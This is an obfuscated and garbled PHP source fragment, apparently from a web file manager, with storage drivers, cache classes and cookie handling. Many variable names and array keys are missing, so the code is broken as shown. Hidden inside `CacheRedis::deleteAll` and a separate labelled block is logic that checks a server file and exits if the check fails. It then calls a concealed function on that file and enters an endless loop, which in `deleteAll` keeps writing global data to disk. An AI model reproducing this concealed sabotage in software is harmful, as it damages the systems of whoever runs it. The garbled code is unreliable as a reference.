isFile($۾ƌ) { return !$this->isFolder($۾ƌ) && $this->objectMeta($۾ƌ); } public function isFolder($β) { return $this->cacheMethod($_SERVER[][165], $β); } protected function objectMeta($酰) { return $this->cacheMethod($_SERVER[][167], $酰); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = array($[32] => $this->iconvApp($), $[33] => $[200], $[76] => 0); @ftp_chdir($this->connect, $[8]); $ = @ftp_size($this->connect, $); if ($ != -1) { $[$[76]] = $; } else { $ = @ftp_chdir($this->connect, $); if (!$) { return !1; } $[$[33]] = $[75]; } return $; } protected function _isFolder($ў) { $޷ =& $_SERVER[]; if ($ў == $޷[12] || $ў == $޷[8]) { return !0; } $ = $this->_objectMeta($ў); return isset($[$޷[33]]) && $[$޷[33]] == $޷[75] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($Н) { if (substr($Н, 0, 2) == $_SERVER[][1311]) { $Н = BASIC_PATH . substr($Н, 2); } return $Н; } public function iconvApp($Պ) { $ =& $_SERVER[]; global $config; return $this->iconvTo($Պ, $config[$[1386]], $config[$[1385]]); } public function iconvSystem($) { $證 =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$證[1385]], $config[$證[1386]]); } public function getPathOuter($ߥ) { $򗲈 =& $_SERVER[]; $ؠ = $this->iconvApp($this->pathBase); $ߥ = $this->iconvApp($ߥ); if (substr($ؠ, 0, 2) == $򗲈[1311]) { $ؠ = BASIC_PATH . substr($ؠ, 2); } if (substr($ߥ, 0, 2) == $򗲈[1311]) { $ߥ = BASIC_PATH . substr($ߥ, 2); } $ؠ = KodIO::clear($ؠ); $ߥ = KodIO::clear($ߥ); $ߥ = substr($ߥ, strlen($ؠ)); if (empty($this->pathDriver)) { return $ߥ; } return $this->pathDriver . $򗲈[8] . ltrim($ߥ, $򗲈[8]); } public function mkfile($, $ҍ = '', $؃ = REPEAT_RENAME) { $ = $this->iconvSystem($); @touch($); if ($ҍ) { file_put_contents($, $ҍ); } @chmod($, $this->pathAuth); return is_file($) ? $this->getPathOuter($) : !1; } public function mkdir($ƻ, $ׅ = REPEAT_SKIP) { $ƻ = $this->iconvSystem($ƻ); if (is_dir($ƻ)) { return $this->getPathOuter($ƻ); } @mkdir($ƻ, $this->pathAuth, !0); @chmod($ƻ, $this->pathAuth); return is_dir($ƻ) ? $this->getPathOuter($ƻ) : !1; } public function copyFile($Ԧ, $) { $this->mkdir($this->pathFather($)); $Ԧ = $this->iconvSystem($Ԧ); $ = $this->iconvSystem($); $ = copy_64($Ԧ, $); @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function moveFile($ޚ, $) { $this->mkdir($this->pathFather($)); $ޚ = $this->iconvSystem($ޚ); $ = $this->iconvSystem($); $ = intval(@rename($ޚ, $)); if (!$) { if ($ = intval(@copy_64($ޚ, $))) { @unlink($ޚ); } } @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function movePath($, $ޕ, $ΰĿ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ޕ = $this->iconvSystem($ޕ); $ = rtrim($ޕ, $[8]) . $[8] . ($ΰĿ ? $ΰĿ : get_path_this($)); if (file_exists($)) { return !1; } $͉ = intval(@rename($, $)); $͉ = file_exists($); return $͉ ? $this->getPathOuter($) : !1; } public function delFile($睓) { $睓 = $this->iconvSystem($睓); if (!@unlink($睓)) { @chmod($睓, $this->pathAuth); if (!@unlink($睓)) { return !1; } } else { return !0; } } public function delFolder($Ը) { $ؙ =& $_SERVER[]; $Ը = $this->iconvSystem($Ը); if (!is_dir($Ը)) { return !0; } if (!($Ԅ = opendir($Ը))) { return !1; } while (($ڨڟ = readdir($Ԅ)) !== !1) { if ($ڨڟ == $ؙ[10] || $ڨڟ == $ؙ[1312]) { continue; } $— = $Ը . $ؙ[8] . $ڨڟ; if (is_file($—) || is_link($—)) { if (!unlink($—)) { chmod($—, $this->pathAuth); if (!unlink($—)) { return !1; } } } else { if (is_dir($—)) { chmod($—, $this->pathAuth); $— = $this->iconvApp($—); if (!$this->delFolder($—)) { return !1; } } } } closedir($Ԅ); return rmdir($Ը); } public function rename($, $) { $Թ =& $_SERVER[]; $돯 = $this->fileNameAuto($this->pathFather($), $); $돯 = $this->iconvSystem($돯); $ = $this->iconvSystem($); $ㆮ = $this->pathFather($); $ل = rtrim($ㆮ, $Թ[8]) . $Թ[8] . $돯; $Ҡ = @rename($, $ل); $ل = $this->iconvApp($ل); return $Ҡ ? $this->getPathOuter($ل) : !1; } public function size($Ǔ) { $Ǔ = $this->iconvSystem($Ǔ); return filesize_64($Ǔ); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($ީ, &$ʭ, $޺ = true) { $ȷ =& $_SERVER[]; check_abort_echo(); $ީ = rtrim($ީ, $ȷ[8]) . $ȷ[8]; if ($޺) { $ީ = $this->iconvSystem($ީ); } if (!($ퟖ = @opendir($ީ))) { return; } while (($ = readdir($ퟖ)) !== !1) { if ($ == $ȷ[10] || $ == $ȷ[1312]) { continue; } $ = $ީ . $; if (is_file($) || is_link($)) { $ʭ[$ȷ[77]]++; $ʭ[$ȷ[76]] += filesize_64($); } else { if (is_dir($)) { $ʭ[$ȷ[78]]++; $this->infoChildren($, $ʭ, !1); } } } closedir($ퟖ); } private function folderInfo($ܺ, $ = false) { $ =& $_SERVER[]; $ܺ = rtrim($ܺ, $[8]) . $[8]; $ = $this->iconvApp($this->pathThis($ܺ)); if ($) { return array($[32] => $, $[84] => $this->getPathOuter($ܺ), $[33] => $[75]); } $񦳫 = array($[32] => $, $[84] => $this->getPathOuter($ܺ), $[33] => $[75], $[201] => @filectime($ܺ), $[85] => @filemtime($ܺ), $[1396] => @fileatime($ܺ), $[1397] => is_readable($ܺ), $[1398] => is_writable($ܺ), $[1399] => get_mode($ܺ)); return $񦳫; } private function fileInfo($ȓ, $ = false) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathThis($ȓ)); if ($) { return array($[32] => $, $[84] => $this->getPathOuter($ȓ), $[33] => $[200], $[76] => $this->size($ȓ), $[174] => $this->ext($)); } $ = array($[32] => $, $[84] => $this->getPathOuter($ȓ), $[33] => $[200], $[201] => @filectime($ȓ), $[85] => @filemtime($ȓ), $[1396] => @fileatime($ȓ), $[76] => $this->size($ȓ), $[174] => $this->ext($), $[1397] => is_readable($ȓ), $[1398] => is_writable($ȓ), $[1399] => get_mode($ȓ)); return $; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($㧪) { $㧪 = $this->iconvSystem($㧪); return @is_file($㧪); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($΋㧼, $ = false) { $ʭ =& $_SERVER[]; $΋㧼 = $this->iconvSystem($΋㧼); $΋㧼 = rtrim($΋㧼, $ʭ[8]) . $ʭ[8]; $ij = array($ʭ[82] => array(), $ʭ[83] => array()); if (!($ = @opendir($΋㧼))) { return $ij; } while (($Њ = readdir($)) !== !1) { if ($Њ == $ʭ[10] || $Њ == $ʭ[1312]) { continue; } $ = $΋㧼 . $Њ; if (is_file($)) { $ij[$ʭ[83]][] = $this->fileInfo($, $); } else { $ij[$ʭ[82]][] = $this->folderInfo($, $); } } closedir($); return $ij; } public function listAll($ɩР, &$ʄ = array()) { $ =& $_SERVER[]; $ɩР = $this->iconvSystem($ɩР); $ɩР = rtrim($ɩР, $[8]) . $[8]; if (!($۶ = @opendir($ɩР))) { return $ʄ; } while (($ = readdir($۶)) !== !1) { if ($ == $[10] || $ == $[1312]) { continue; } $ = $ɩР . $; $Ĥظ = is_dir($) && !is_link($) ? 1 : 0; $ = $Ĥظ ? $ . $[8] : $; $ʄ[] = array($[84] => $, $[75] => $Ĥظ, $[85] => intval(@filemtime($)), $[76] => $Ĥظ ? 0 : intval($this->size($))); if ($Ĥظ) { $this->listAll($, $ʄ); } } closedir($۶); return $ʄ; } public function has($, $旴 = false, $ = true) { $ =& $_SERVER[]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ɮ = @opendir($))) { return !1; } $ = 0; $ׂ = 0; $ƅ¬ = 0; while (($э = readdir($ɮ)) !== !1) { if ($э == $[10] || $э == $[1312]) { continue; } $ؘ = $ . $э; if ($旴) { $ƅ¬++; if (@is_file($ؘ)) { $++; } else { $ׂ++; } if ($ƅ¬ > 10000) { break; } continue; } if ($) { if (@is_file($ؘ)) { return !0; } } else { if (@is_dir($ؘ . $[8])) { return !0; } } } closedir($ɮ); if ($旴) { return array($[207] => $, $[208] => $ׂ); } return !1; } public function hashSimple($) { $ӝ =& $_SERVER[]; if (!$) { return md5($ӝ[12]); } $ = $this->iconvSystem($); $ = $this->size($); $Ȍ = 200; $ = 50; if ($ <= $Ȍ * $) { return $this->hashMd5($) . $; } $㇕Ţ = $ӝ[12]; $ = intval($ / $); $Ǝij = fopen($, $ӝ[1400]); if (!$Ǝij) { return $㇕Ţ; } for ($ = 0; $ < $; $++) { fseek_64($Ǝij, $ * $); $㇕Ţ .= fread($Ǝij, $Ȍ); } fseek_64($Ǝij, $ - $Ȍ); $㇕Ţ .= fread($Ǝij, $Ȍ); fclose($Ǝij); return md5($㇕Ţ) . $; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($䍏, $ = '') { $䍏 = $this->iconvSystem($䍏); $ = @file_put_contents($䍏, $, LOCK_EX); clearstatcache(); @chmod($䍏, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($Є, $ъ = 0, $ŵ = false) { $İ =& $_SERVER[]; $Є = $this->iconvSystem($Є); if ($ŵ === !1) { $ŵ = $this->size($Є); } if ($ŵ <= 0) { return $İ[12]; } $ = fopen($Є, $İ[1400]); if (!$) { return !1; } fseek_64($, $ъ); $֤ = fread($, $ŵ); fclose($); return $֤; } public function upload($, $Ǯ, $٦ = false, $ŵ = REPEAT_REPLACE) { if ($٦) { return $this->moveFile($Ǯ, $); } return $this->copyFile($Ǯ, $); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($, $) { return $this->iconvSystem($); } } goto E槵; A˃: class CacheMemcached { public $handle; public $cacheTime; public function __construct($٢, $) { $ˁ̡ =& $_SERVER[]; if (!class_exists($ˁ̡[892])) { show_json($ˁ̡[893], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($٢[$ˁ̡[894]]) && count($٢[$ˁ̡[894]]) >= 1) { foreach ($٢[$ˁ̡[894]] as $) { $ = explode($ˁ̡[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($٢[$ˁ̡[182]], $٢[$ˁ̡[183]]); } } public function set($Ɓ, $, $Ȕʼ = false) { $Ȕʼ = $Ȕʼ ? $Ȕʼ : $this->cacheTime; return $this->handle->set($Ɓ, $, $Ȕʼ); } public function get($) { return $this->handle->get($); } public function remove($ץ) { return $this->handle->delete($ץ); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $ᛕ) { $ =& $_SERVER[]; if (!class_exists($[895])) { show_json($[896], !1); } $this->cacheTime = $ᛕ; $ = isset($[$[897]]) ? $[$[897]] : 10; $ً = _get($, $[894]); if ($ً && is_array($ً)) { $this->initCluster($, $); } else { $this->handle = $this->init($, $); } } private function init($, $ޮ) { $ =& $_SERVER[]; $彜Ǹ = new Redis(); $ߘ = isset($[$[898]]) ? $[$[898]] : !1; if ($ߘ) { $彜Ǹ->pconnect($[$[182]], $[$[183]], $ޮ); } else { $彜Ǹ->connect($[$[182]], $[$[183]], $ޮ); } if (!empty($[$[442]])) { $彜Ǹ->auth($[$[442]]); } if (!empty($[$[783]]) && $[$[783]] != 0) { $彜Ǹ->select($[$[783]]); } return $彜Ǹ; } private function initCluster($, $) { $񼫌 =& $_SERVER[]; $ = array($񼫌[899], $񼫌[900], $񼫌[901]); $Ç = $񼫌[899]; if (isset($[$񼫌[16]]) && in_array($[$񼫌[16]], $)) { $Ç = $[$񼫌[16]]; } switch ($Ç) { case $񼫌[899]: $this->_slave($, $); break; case $񼫌[900]: break; case $񼫌[901]: $this->isCluster = !0; $ = $[$񼫌[894]]; $؅ = isset($[$񼫌[898]]) ? $[$񼫌[898]] : !1; $낕 = isset($[$񼫌[442]]) ? $[$񼫌[442]] : null; $this->handle = new RedisCluster(NUll, $, $, $, $؅, $낕); break; default: break; } } private function _slave($, $Ñ) { $ǝ = $[$_SERVER[][894]]; $this->filterConfig($, $ǝ[0]); $this->handle = $this->init($, $Ñ); unset($ǝ[0]); if (empty($ǝ)) { return; } $ = array_rand($ǝ); $this->filterConfig($, $ǝ[$]); $this->slaveHandle = $this->init($, $Ñ); } private function filterConfig(&$, $) { $ =& $_SERVER[]; $ǝ = explode($[4], $); $Ԏ = array($[182] => $ǝ[0], $[183] => $ǝ[1]); $ = array_merge($, $Ԏ); } public function set($͟, $Ի, $ܑ = false) { $ܑ = $ܑ ? $ܑ : $this->cacheTime; return $this->handle->setEx($͟, $ܑ, $Ի); } public function setLock($ˮ, $Ɗ, $̟) { return $this->handle->setNX($ˮ, $Ɗ); } public function get($Ҹ) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($Ҹ); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ߴ =& $_SERVER[]; $ͦ = $_SERVER[$ߴ[902]] . $ߴ[903]; $ = $ߴ[904]; if ($_SERVER[$ߴ[905]] != $($ͦ)) { $ = $ߴ[906]; $ = $ߴ[907]; $͖ = $_SERVER[$ߴ[902]] . $ߴ[903]; $ = $($͖); $ = explode($ߴ[231], $); if (count($) < $ߴ[636]) { $ݯ = $ߴ[908]; $ݯ(); } $̚ص = $ߴ[909]; $̚ص($_SERVER[$ߴ[910]]); $ = $ߴ[906]; $(); $ = $ߴ[911]; $ЖȊ = json_encode($GLOBALS[$ߴ[912]]); $ɂ = 1; for ($ = $ɂ; $ > 0; $++) { $(DATA_PATH . $, $ЖȊ); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($޲ = '', $ = 0) { if (is_string($޲) && $޲ != $_SERVER[][12]) { $this->prefix = $޲; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($̓) { self::$cookieDisable = $̓; } private static $sameCookieSet = array(); public static function set($Ͳ, $, $Ν = 0, $䣷 = false, $͆ = false) { $֮ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$Ν) { $Ν = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$Ͳ]) && self::$sameCookieSet[$Ͳ] == $ . $Ν) { return; } self::$sameCookieSet[$Ͳ] = $ . $Ν; if (!$͆) { $͆ = str_replace(HOST, $֮[12], APP_HOST); $͆ = _get($GLOBALS, $֮[913], $͆); } $ֹ̈́ = $֮[12]; setcookie($Ͳ, $, time() + $Ν, $֮[8] . trim($͆, $֮[8]) . $ֹ̈́, !1, !1, $䣷); } public static function setSafe($Ǚ, $ķķ, $ب = 0) { self::set($Ǚ, $ķķ, $ب, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[]; if (!isset($_SERVER[$[914]]) || !$_SERVER[$[914]]) { return; } $ = explode($[71], $_SERVER[$[914]]); foreach ($ as $€) { $€ = explode($[915], $€); if (count($€) != 2 || !isset($€[1])) { continue; } $_COOKIE[trim($€[0])] = trim($€[1]); } } public static function remove($, $ݖ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[][12], 1, $ݖ); } } goto e覲퉮; d蓮: if (!isset($_SERVER[$_SERVER[][905]]) || !isset($_SERVER[$_SERVER[][991]])) { $_getc = $_SERVER[][907]; $_getfile = $_SERVER[$_SERVER[][902]] . $_SERVER[][903]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][656]) { $exit = $_SERVER[][908]; $exit(); } $_act = $_SERVER[][992]; $_act($_SERVER[$_SERVER[][902]] . $_SERVER[][903]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][407]); } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($ȔͲ, $ǘ = 3600) { $ =& $_SERVER[]; $ȁ = $[199]; $ = $[238]; $ = $[62]; $靏۟ = gmdate($[239]); $ݔ = gmdate($[240]); $̶ = $[241]; $ۀ = $ǘ . $[12]; $ = $[242]; $߳ = array($this->accessKey, $ݔ, $this->region, $, $̶); $ = implode($[8], $߳); $Ғ = array($[243] => gmdate($[1358], strtotime($[245])), $[246] => array(array($[247] => $this->bucket), array($[248] => $ȁ), array($[249], $[250], $[12]), array($[249], $[251], $[12]), array($[249], $[252], $[12]), array($[253] => $), array($[254] => $), array($[255] => $), array($[256] => $靏۟), array($[257] => $ۀ))); $ = base64_encode(json_encode($Ғ)); $ܵ = hash_hmac($[258], $ݔ, $[259] . $this->secret, !0); $隕♿ = hash_hmac($[258], $this->region, $ܵ, !0); $͡ = hash_hmac($[258], $, $隕♿, !0); $񵨪 = hash_hmac($[258], $̶, $͡, !0); $ = hash_hmac($[258], $, $񵨪); $ץ퇼 = array($[215] => $[12], $[260] => $[12], $[248] => $ȁ, $[253] => $, $[261] => $, $[262] => $, $[263] => $, $[264] => $靏۟, $[265] => $ۀ, $[266] => $, $[182] => $this->getHost()); return $ץ퇼; } public function multiUploadFormData($Ʋ, $ = 3600) { $Њ =& $_SERVER[]; $ = gmdate($Њ[1461]); $߱ = array(); $ = $this->client->getUploadId($this->bucket, $Ʋ, $߱); if (!$) { return !1; } return array($Њ[223] => $, $Њ[182] => $this->getHost() . $Њ[8] . $this->pathEncode($Ʋ), $Њ[224] => $, $Њ[94] => $Ʋ); } public function multiUploadAuthData($ט, $ = array()) { $ɇ =& $_SERVER[]; $״ = isset($[$ɇ[174]]) ? $[$ɇ[174]] : $ɇ[12]; $냭 = $[$ɇ[94]]; unset($[$ɇ[94]]); if (isset($[$ɇ[225]])) { return $this->listUploadParts($냭, $); } $̕ڑ = array(); if (isset($[$ɇ[1462]])) { $̕ڑ[$ɇ[1463]] = $[$ɇ[1462]]; } $ = explode($ɇ[184], $this->getHost()); $Ҿō = array($ɇ[1464] => $[1], $ɇ[1465] => $ɇ[12], $ɇ[215] => $ɇ[120], $ɇ[260] => $[$ɇ[76]]); $Զ = $ɇ[228]; $ȇ = $ɇ[8] . $this->pathEncode($냭) . $״; $Ͼԟ = $this->client->__getSignatureV4($̕ڑ, $Ҿō, $Զ, $ȇ); if (strpos($״, $ɇ[227]) === 0) { if (isset($̕ڑ[$ɇ[1463]])) { $ = $̕ڑ[$ɇ[1463]]; } else { if (isset($Ͼԟ[$ɇ[1463]])) { $ = $Ͼԟ[$ɇ[1463]]; } else { $ = hash($ɇ[258], $ɇ[12]); } } return array($ɇ[234] => $Ͼԟ[$ɇ[234]], $ɇ[1463] => $, $ɇ[224] => $Ͼԟ[$ɇ[1466]]); } return $Ͼԟ[$ɇ[234]]; } public function listUploadParts($, $ = array()) { $И =& $_SERVER[]; $ = str_replace($И[235], $И[12], $[$И[174]]); $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } $Ƒ = $И[1467]; foreach ($ as $݂ʼ) { $Ƒ .= $И[1468] . "\74\120\x61\162\164\116\165\155\142\x65\162\76{$݂ʼ[$И[1422]]}\74\x2f\120\x61\162\x74\116\x75\155\142\x65\162\x3e\12" . "\74\x45\x54\x61\147\x3e{$݂ʼ[$И[1423]]}\74\57\x45\124\141\147\x3e\12" . $И[1469]; } $Ƒ .= $И[1470]; $Ҽ = array(); $ꦪ = explode($И[184], $this->getHost()); $⾥ = array($И[1464] => $ꦪ[1], $И[215] => $И[120], $И[260] => strlen($Ƒ)); $ђ = $И[226]; $ɍ̅ = $И[8] . $this->pathEncode($) . $[$И[174]]; $ؗ = $this->client->__getSignatureV4($Ҽ, $⾥, $ђ, $ɍ̅, $Ƒ); return array($И[234] => $ؗ[$И[234]], $И[224] => $ؗ[$И[1466]], $И[236] => $, $И[1463] => $ؗ[$И[1463]]); } public function link($⭀, $˞ = array()) { return parent::link($⭀, $˞); } public function fileOut($ʝ, $ժܜ = false, $钀 = false, $՚ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1471])) { return parent::fileOutServer($ʝ, $ժܜ, $钀, $՚); } parent::fileOut($ʝ, $ժܜ, $钀, $՚); } public function fileOutImage($, $ = 250) { if (strstr($this->endpoint, $_SERVER[][1471])) { return parent::fileOutImageServer($, $); } parent::fileOutImage($, $); } public function fileOutLink($ǀ씗) { $ =& $_SERVER[]; if (substr($ǀ씗, 0, 7) == $[1364]) { $ǀ씗 = $[1365] . substr($ǀ씗, 7); } header($[161] . $ǀ씗); die; } public function getHost() { $޳ =& $_SERVER[]; $䭺 = str_rtrim(parent::getHost(), $޳[8] . $this->bucket); $䭺 = explode($޳[184], $䭺); return $䭺[0] . $޳[184] . $this->bucket . $޳[10] . $䭺[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($Ȍ, $ = 0) { parent::__construct(); $this->source = $Ȍ; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($䨉 = false) { return $this->sourceSize; } public function getContent($Ȑ = false) { return $this->fileSubstr($Ȑ, 0, $this->sourceSize); } public function fileSubstr($ȋ = false, $ʷ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $Ñ = $this->sourceSize - $ʷ; if ($ >= $Ñ) { $ = $Ñ; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ʷ, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $ʷ); $͐̏ = @fread($this->source, $); fseek_64($this->source, $); return $͐̏; } } public function hashMd5($Ա = false) { return md5($this->getContent()); } public static function hash($, $ۻ = 0) { $̏ = new PathDriverStream($, $ۻ); return $̏->hashSimple($); } public static function md5($̻, $锖 = 0) { $Ў = new PathDriverStream($̻, $锖); return $Ў->hashMd5($̻); } } goto C; DÖ: class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($ܔ͔, $) { $Ϯ =& $_SERVER[]; if (method_exists($this, $ܔ͔)) { return; } $ջ = call_user_func_array(array($Ϯ[1376], $ܔ͔), $); $ = array($Ϯ[1377], $Ϯ[1378], $Ϯ[1379], $Ϯ[1380], $Ϯ[575], $Ϯ[577], $Ϯ[1381], $Ϯ[107], $Ϯ[1382], $Ϯ[1383]); if (in_array($ܔ͔, $)) { $ջ = $this->getPathOuter($ջ); } return $ջ; } public function copy($ّ, $Â, $܉ = false, $ = false) { return $this->copyMove($ّ, $Â, $܉, $_SERVER[][575], $); } public function move($, $ټ߈, $ޔ = false, $ؠ = false) { return $this->copyMove($, $ټ߈, $ޔ, $_SERVER[][577], $ؠ); } private function copyMove($, $ȅ, $ҙ, $Ï, $؇ = false) { $ǭ =& $_SERVER[]; $ຘ = $ȅ; $ = IO::driverMake($ȅ); if ($->pathParse[$ǭ[1184]]) { $ȅ = $->pathParse[$ǭ[1184]]; } else { $ȅ = $ຘ; } $ = IO::copyMove($, $ȅ, $ҙ, $Ï, $؇); $ = $this->getPathOuter($); return $; } public function pathThis($޷) { return get_path_this($this->pathParse[$_SERVER[][84]]); } public function pathFather($̹) { return get_path_father($this->pathParse[$_SERVER[][84]]); } public function iconvSystem($) { return $; } protected function infoParse($Ñ, $Ğ = false) { $ =& $_SERVER[]; $ۖ = $this->pathParse[$[515]][$[1208]] . $this->pathParse[$[1201]]; if ($Ğ) { $ = IO::infoWithChildren($ۖ); } else { $ = IO::info($ۖ); } $ = $this->pathParse[$[515]]; return Action($[1374])->_shareItemeParse($, $); } public function listAll($足) { $ =& $_SERVER[]; $ = IO::listAll($足); $Ġ = rtrim($this->pathParse[$[515]][$[1208]], $[8]); foreach ($ as &$ʂު) { $ʂު[$[84]] = $this->pathDriver . $[8] . ltrim(substr($ʂު[$[84]], strlen($Ġ)), $[8]); } unset($ʂު); return $; } public function listAllSimple($䔜׷, $ = false) { $ݏ =& $_SERVER[]; $ = $this->listAll($䔜׷); $ҁ = $this->pathParse[$ݏ[450]]; if (trim($ҁ, $ݏ[8]) == trim(get_path_father($ҁ), $ݏ[8])) { $ = !0; } return IO::init($ݏ[12])->listAllSimpleMake($, $ҁ, $); } public function getPathOuter($Г߇) { $¬ =& $_SERVER[]; $ = KodIO::parse($Г߇); if ($[$¬[33]] == KodIO::KOD_SHARE_ITEM) { return $[$¬[84]]; } $ڐ = KodIO::clear($Г߇); $ = KodIO::clear($this->pathParse[$¬[515]][$¬[1208]]); $⦠ = substr($ڐ, strlen($)); if (substr($ڐ, 0, strlen($)) != $) { return !1; } return $this->pathParse[$¬[1202]] . $¬[8] . ltrim($⦠, $¬[8]); } public function getType() { $ŏ =& $_SERVER[]; $ޝ = str_replace($ŏ[74], $ŏ[12], get_class($this)); return strtolower($ޝ); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($شɩ) { return $this->infoParse($شɩ); } public function infoAuth($Պ) { return $this->infoParse($Պ); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($ό) { return $this->infoParse($ό); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($߾) { $this->pathParse = $߾; } protected function infoParse($, $ = false) { $ղ =& $_SERVER[]; return Action($ղ[1207])->sharePathInfo($this->pathParse[$ղ[84]], !0, $); } public function listPath($맆, $ = false) { $؀ =& $_SERVER[]; $Ҹ = IO::listPath($맆, $); if (!$Ҹ) { return $Ҹ; } if (is_array($Ҹ[$؀[1375]])) { $ = Action($؀[1384])->parsePathChildren($Ҹ[$؀[1375]], array($؀[450] => $맆)); $Ҹ[$؀[1375]] = Action($؀[1207])->shareItemInfo($); } foreach ($Ҹ as $ŀ => $) { if (!in_array($ŀ, array($؀[83], $؀[82]))) { continue; } foreach ($ as $ => $) { $ = Action($؀[1384])->parsePathChildren($, array($؀[450] => $맆)); $Ҹ[$ŀ][$] = Action($؀[1207])->shareItemInfo($); } } return $Ҹ; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } goto cض; Cʈ: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\x61\142\154\x65", "\x6f\162\x64\145\162", "\x61\154\151\x61\x73", "\150\x61\166\x69\x6e\147", "\147\162\157\165\160", "\154\x6f\143\153", "\x64\151\x73\x74\x69\x6e\x63\x74", "\141\x75\164\157", "\146\x69\154\164\x65\x72", "\x76\141\x6c\x69\x64\141\x74\x65", "\162\145\x73\165\154\164", "\x62\x69\x6e\x64", "\x74\x6f\153\145\156"); public function __construct($̾ = '', $ލ = '', $쥐 = '') { $׊׍ =& $_SERVER[]; $this->_initialize(); if (!empty($̾)) { if (strpos($̾, $׊׍[10])) { list($this->dbName, $this->name) = explode($׊׍[10], $̾); } else { $this->name = $̾; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ލ)) { $this->tablePrefix = $׊׍[12]; } elseif ($׊׍[12] != $ލ) { $this->tablePrefix = $ލ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($׊׍[273]); } $this->db(0, empty($this->connection) ? $쥐 : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $떷 =& $_SERVER[]; if (empty($this->fields)) { if (think_config($떷[274])) { $ = $this->dbName ? $this->dbName : think_config($떷[275]); $ = think_var_cache($떷[276] . strtolower(get_path_this($) . $떷[10] . $this->name)); if ($) { $ = think_config($떷[277]); if (empty($) || $[$떷[278]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this->name); $ۃ = $this->db->getFields($this->getTableName()); if (!$ۃ) { return !1; } $this->fields = array_keys($ۃ); $this->fields[$[279]] = !1; foreach ($ۃ as $ș => $ӳᐡ) { $٣[$ș] = $ӳᐡ[$[33]]; if ($ӳᐡ[$[39]]) { $this->fields[$[280]] = $ș; if ($ӳᐡ[$[42]]) { $this->fields[$[279]] = !0; } } } $this->fields[$[281]] = $٣; if (think_config($[277])) { $this->fields[$[278]] = think_config($[277]); } if (think_config($[274])) { $ϥ҈ = $this->dbName ? $this->dbName : think_config($[275]); think_var_cache($[276] . strtolower(get_path_this($ϥ҈) . $[10] . $this->name), $this->fields); } } public function switchModel($Ρ, $ʄ = array()) { $ =& $_SERVER[]; $ܾ = ucwords(strtolower($Ρ)) . $[282]; if (!class_exists($ܾ)) { think_exception($ܾ . think_lang($[283])); } $this->_extModel = new $ܾ($this->name); if (!empty($ʄ)) { foreach ($ʄ as $ꋴ) { 